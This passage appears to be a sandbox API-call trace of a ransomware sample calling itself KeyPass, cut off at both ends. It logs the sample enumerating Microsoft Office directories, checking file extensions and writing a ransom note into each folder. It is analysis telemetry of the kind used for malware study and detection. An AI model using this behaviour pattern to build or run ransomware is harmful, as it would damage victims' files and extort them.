Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU") returned=".ACCDU" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZLIB.ACCDE") returned=".ACCDE" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE") returned=".ACCDE" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE") returned=".ACCDE" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZUSR12.ACCDU") returned=".ACCDU" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\UTILITY.ACCDA") returned=".ACCDA" [0245.498] FindNextFileW (in: hFindFile=0x2e79d18, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0245.498] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ.DLL") returned=".DLL" [0245.498] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.498] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL") returned=".DLL" [0245.498] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0245.499] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0245.499] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.499] GetLastError () returned 0x3f0 [0245.499] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.499] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x628 [0245.519] GetFileType (hFile=0x628) returned 0x1 [0245.519] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0245.519] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0245.519] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0245.520] WriteFile (in: hFile=0x628, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0245.520] WriteFile (in: hFile=0x628, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0245.521] CloseHandle (hObject=0x628) returned 1 [0245.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e799d8 [0245.521] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.521] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.521] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.521] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.521] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL") returned=".DLL" [0245.521] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.521] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ColleagueImport.dll") returned=".dll" [0245.521] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.521] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned=".ECF" [0245.521] FindNextFileW (in: hFindFile=0x2e799d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.521] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0245.521] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.521] GetLastError () returned 0x3f0 [0245.521] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.522] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0245.552] GetFileType (hFile=0x630) returned 0x1 [0245.553] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0245.553] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0245.553] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0245.553] WriteFile (in: hFile=0x630, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0245.554] WriteFile (in: hFile=0x630, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0245.554] CloseHandle (hObject=0x630) returned 1 [0245.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79d58 [0245.554] FindNextFileW (in: hFindFile=0x2e79d58, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.554] FindNextFileW (in: hFindFile=0x2e79d58, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.554] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.554] FindNextFileW (in: hFindFile=0x2e79d58, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.554] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0245.555] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.555] GetLastError () returned 0x3f0 [0245.555] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.555] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0245.595] GetFileType (hFile=0x638) returned 0x1 [0245.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0245.595] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0245.596] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0245.596] WriteFile (in: hFile=0x638, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.597] WriteFile (in: hFile=0x638, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0245.597] CloseHandle (hObject=0x638) returned 1 [0245.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x2e79dd8 [0245.597] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.598] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.598] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.598] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.598] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.598] GetLastError () returned 0x3f0 [0245.598] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.598] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\af\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0245.611] GetFileType (hFile=0x634) returned 0x1 [0245.611] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.611] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.611] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.612] WriteFile (in: hFile=0x634, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.612] WriteFile (in: hFile=0x634, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.612] CloseHandle (hObject=0x634) returned 1 [0245.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9908 [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\af\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.613] FindNextFileW (in: hFindFile=0x2ef9908, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.613] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.613] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.613] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.613] GetLastError () returned 0x3f0 [0245.613] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.613] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\am\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x640 [0245.630] GetFileType (hFile=0x640) returned 0x1 [0245.630] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.630] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.630] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.630] WriteFile (in: hFile=0x640, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.631] WriteFile (in: hFile=0x640, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.631] CloseHandle (hObject=0x640) returned 1 [0245.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9a08 [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.632] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\am\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0245.632] FindNextFileW (in: hFindFile=0x2ef9a08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0245.632] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0245.633] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0245.633] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3893748 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.633] GetLastError () returned 0x3f0 [0245.633] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.633] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x644 [0245.694] GetFileType (hFile=0x644) returned 0x1 [0245.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0245.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0245.694] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0245.694] WriteFile (in: hFile=0x644, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0245.695] WriteFile (in: hFile=0x644, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0245.695] CloseHandle (hObject=0x644) returned 1 [0245.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9408 [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0245.696] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0245.696] FindNextFileW (in: hFindFile=0x2ef9408, lpFindFileData=0x2e4e0e4 | out: 